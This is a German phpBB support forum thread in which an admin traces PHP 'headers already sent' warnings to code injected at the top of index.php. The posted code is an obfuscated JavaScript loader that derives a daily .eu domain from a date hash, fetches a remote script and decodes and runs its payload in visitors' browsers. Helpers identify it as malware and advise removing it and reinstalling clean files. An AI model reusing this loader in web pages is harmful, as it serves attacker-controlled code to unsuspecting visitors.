Seite 1 von 1

[phpBB Debug] PHP Warnin

Verfasst: 24.05.2014 19:12
von frein
Hallo,

ich habe mal wieder ein problem.

Als der Feher das erste Mal auftrat habe ich NICHTS am Forum gebastelt (war in Urlaub).
Der Zeichensatz, bzw. die Umlaute werden auch komisch dargestellt.

Ein zeitnahes Backup ist nicht vorhanden, leider (mein Computer ist geschrottet).

Code: Alles auswählen

[phpBB Debug] PHP Warning: in file [ROOT]/includes/functions.php on line 4725: Cannot modify header information - headers already sent by (output started at [ROOT]/index.php:3)
[phpBB Debug] PHP Warning: in file [ROOT]/includes/functions.php on line 4727: Cannot modify header information - headers already sent by (output started at [ROOT]/index.php:3)
[phpBB Debug] PHP Warning: in file [ROOT]/includes/functions.php on line 4728: Cannot modify header information - headers already sent by (output started at [ROOT]/index.php:3)
[phpBB Debug] PHP Warning: in file [ROOT]/includes/functions.php on line 4729: Cannot modify header information - headers already sent by (output started at [ROOT]/index.php:3)

in den entsprechenden Zeilen der Datei steht:

Code: Alles auswählen

header('Content-type: text/html; charset=UTF-8');

	header('Cache-Control: private, no-cache="set-cookie"');
	header('Expires: 0');
	header('Pragma: no-cache');
Hier der Link zum Forum:
http://www.sentaiworld.de/index.php


Mein Forum läuft phpBB 3.0.11
MySQL 5.5.31-1~dotdeb.0

folgenden Link habe ich gefunden und versucht den Fehler entsprechend zu beheben. Dies hat allerdings nciht funktioniert und so richtig kann ich mir auch keinen Reim darauf bilden.
viewtopic.php?f=74&t=228722&hilit=heade ... nt+umlaute



Der Fehler trat zum ersten mal auf, als der Hoster die php Versiona uf 5.4 umgestellt hat.

Zur Zeit bin ich erst ratlos. Bitte helft mir. DAAAAANKE!

Re: [phpBB Debug] PHP Warnin

Verfasst: 24.05.2014 22:54
von Elsensee
Bei dieser "headers already sent" ist eher wichtig, was die erste Fehlermeldung war, da diese weiteren Fehler aufgrund der ersten Fehlermeldung auftreten. :wink: Aber vermutlich ist es das gleiche Problem, wie in diesem Beitrag. Daher habe ich hier die gleiche Empfehlung:
Update gemäß KB:update30x auf die aktuellste Version durchführen und schauen, ob das Problem danach immer noch auftritt. :)

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 06:27
von Miriam
Zeige mal bitte die ersten 5 Zeilen Deiner index.pbp her.

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 13:18
von frein
Hier die ersten 10 Zeilen der index.php

Code: Alles auswählen

<?php 

echo "<script>function hashdate (str) {if(!str) {var date=new Date();var str = date.getUTCFullYear() + \"/\" + (date.getUTCMonth()+1) + \"/\" + date.getUTCDate() + \" \" + (date.getHours() >= 12 ? 'PM':'AM');};var table = [0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405,1303535960,984961486,2747007092,3569037538,1256170817,1037604311,2765210733,3554079995,1131014506,879679996,2909243462,3663771856,1141124467,855842277,2852801631,3708648649,1342533948,654459306,3188396048,3373015174,1466479909,544179635,3110523913,3462522015,1591671054,702138776,2966460450,3352799412,1504918807,783551873,3082640443,3233442989,3988292384,2596254646,62317068,1957810842,3939845945,2647816111,81470997,1943803523,3814918930,2489596804,225274430,2053790376,3826175755,2466906013,167816743,2097651377,4027552580,2265490386,503444072,1762050814,4150417245,2154129355,426522225,1852507879,4275313526,2312317920,282753626,1742555852,4189708143,2394877945,397917763,1622183637,3604390888,2714866558,953729732,1340076626,3518719985,2797360999,1068828381,1219638859,3624741850,2936675148,906185462,1090812512,3747672003,2825379669,829329135,1181335161,3412177804,3160834842,628085408,1382605366,3423369109,3138078467,570562233,1426400815,3317316542,2998733608,733239954,1555261956,3268935591,3050360625,752459403,1541320221,2607071920,3965973030,1969922972,40735498,2617837225,3943577151,1913087877,83908371,2512341634,3803740692,2075208622,213261112,2463272603,3855990285,2094854071,198958881,2262029012,4057260610,1759359992,534414190,2176718541,4139329115,1873836001,414664567,2282248934,4279200368,1711684554,285281116,2405801727,4167216745,1634467795,376229701,2685067896,3608007406,1308918612,956543938,2808555105,3495958263,1231636301,1047427035,2932959818,3654703836,1088359270,936918000,2847714899,3736837829,1202900863,817233897,3183342108,3401237130,1404277552,615818150,3134207493,3453421203,1423857449,601450431,3009837614,3294710456,1567103746,711928724,3020668471,3272380065,1510334235,755167117];var crc = crc ^ (-1);for(var i=0, iTop=str.length; i<iTop; i++) {crc = ( crc >>> 8 ) ^ table[( crc ^ str.charCodeAt( i ) ) & 0xFF];}return (crc ^ (-1)) >>> 0;};function dbc(s) {var e={},i,k,v=[],r='',w=String.fromCharCode;var n=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}}for(i=0;i<64;i++){e[v[i]]=i;}for(i=0;i<s.length;i+=72){var b=0,c,x,l=0,o=s.substring(i,i+72);for(x=0;x<o.length;x++){c=e[o.charAt(x)];b=(b<<6)+c;l+=6;while(l>=8){r+=w((b>>>(l-=8))%256);}}}return r;};function runonload(){if(!document.body){setTimeout(runonload, 50);}else {var s=document.createElement(\"SCRIPT\");s.src=\"http://\" + hashdate().toString(16) + \".eu/script.html?\"+Math.random();document.body.appendChild(s); }};window.cback=function(p){var s = document.createElement(\"SCRIPT\");s.text = dbc(p).replace(/\0+/,'');document.body.appendChild(s);};runonload(); </script>";

/**
*
* @package phpBB3
* @version $Id$
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 13:36
von Crizzo
Hi,

der echo-Code ist da definitiv falsch. Hast du den da eingebaut oder wurde der bei dir eingebaut? :o

Letzteres könnte auf eine Sicherheitslücke bei dir, einen Trojaner und Co hinweisen, den du mithochgeladen hast. Ergo: KB:gehackt zudem deinen PC bitte gründlich auf Viren und Co checken.

Grüße

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 13:53
von frein
ich ? den code eingebaut ?
nein ich bin ein relativ großer Laie.

Der muss da schon etwas länger sein, das einzige was ich damit vor einer Woche etwa gemacht habe, ist ihn zwei Zeilen nach unten zu schieben, um zu gucken ob sich die Fehlermeldung ändert, dadurch versuche ich immer rauszufinden woran es hängt...
die Fehlermeldung war an diesem Tag zum ersten mal aufgetaucht. Aber der Code war da schon da oder kam an jenem Tag irgendwie rein.

soll ich ihn löschen und gucken was passiert??


Anmerkung: Wir wurden tatsächlich gehackt aber erst etwa 4 Tage nachdem dieser hier besprochene Fehler auftrat, welcher ja der erste von vielen war. Es wurde ein menge Schadcode eingeschleust, den konnten wir dateiübergreifend komplett entfernen. Zumindest den von dem wir wussten.... Da habe ich auch in den Themen hier im Forum gestöbert und entsprechende Themen gefunden, die mir dabei geholfenhaben.

Aber nach deiner Antwort muss ich beinahe davon ausgehen, dass es noch mehr schadcode könnte, wenn der echo code da nicht hingehört....


Gemäß dem Artikel aus der Knowledgebase sind wir in dieser Sache bereits vorgegangen.
:( :( :( :(

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 14:22
von Elsensee
frein hat geschrieben:[...]
soll ich ihn löschen und gucken was passiert??
Ja! :o

Wichtig ist: Verwendet nie, nie, nie, niemals, unter keinen Umständen, nie, einen Online-FTP-Service! :wink: :)

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 14:30
von frein
okay vielen dank an alle, durch das Löschen von dem echo code... ist der fehler weg.


da könnte doch aber durchaus mehr sein ...befürchte ich :(

ähm ich nutze File Zilla

Re: [phpBB Debug] PHP Warnin

Verfasst: 25.05.2014 15:23
von Crizzo
Wie gesagt, haue mal alle Forendateien runter und spielen die frischen von hier: https://www.phpbb.de/downloads/pakete.php ein.